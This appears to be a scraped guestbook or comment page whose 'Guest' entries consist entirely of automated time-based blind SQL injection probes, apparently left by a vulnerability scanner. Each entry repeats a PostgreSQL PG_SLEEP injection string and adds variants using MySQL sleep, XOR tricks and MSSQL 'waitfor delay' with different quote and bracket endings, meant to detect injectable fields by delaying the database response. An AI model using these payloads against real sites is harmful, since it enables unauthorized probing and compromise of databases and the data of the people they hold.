Guest:
1OHSELxS2') OR 915=(SELECT 915 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
1OHSELxS2') OR 915=(SELECT 915 FROM PG_SLEEP(15))--
-1; waitfor delay '0:0:15' --

Guest:
1OHSELxS2') OR 915=(SELECT 915 FROM PG_SLEEP(15))--
-1); waitfor delay '0:0:15' --

Guest:
1OHSELxS2') OR 915=(SELECT 915 FROM PG_SLEEP(15))--
-1 waitfor delay '0:0:15' --

Guest:
1OHSELxS2') OR 915=(SELECT 915 FROM PG_SLEEP(15))--
JWlhsXL1'; waitfor delay '0:0:15' --

Guest:
1OHSELxS2') OR 915=(SELECT 915 FROM PG_SLEEP(15))--
ShSPZkJg'); waitfor delay '0:0:15' --

Guest:
1OHSELxS2') OR 915=(SELECT 915 FROM PG_SLEEP(15))--
fM7pNEfe')); waitfor delay '0:0:15' --

Guest:
1OHSELxS2') OR 915=(SELECT 915 FROM PG_SLEEP(15))--
YjHpyzHy' OR 543=(SELECT 543 FROM PG_SLEEP(15))--

Guest:
1OHSELxS2') OR 915=(SELECT 915 FROM PG_SLEEP(15))--
drBFIVLM') OR 70=(SELECT 70 FROM PG_SLEEP(15))--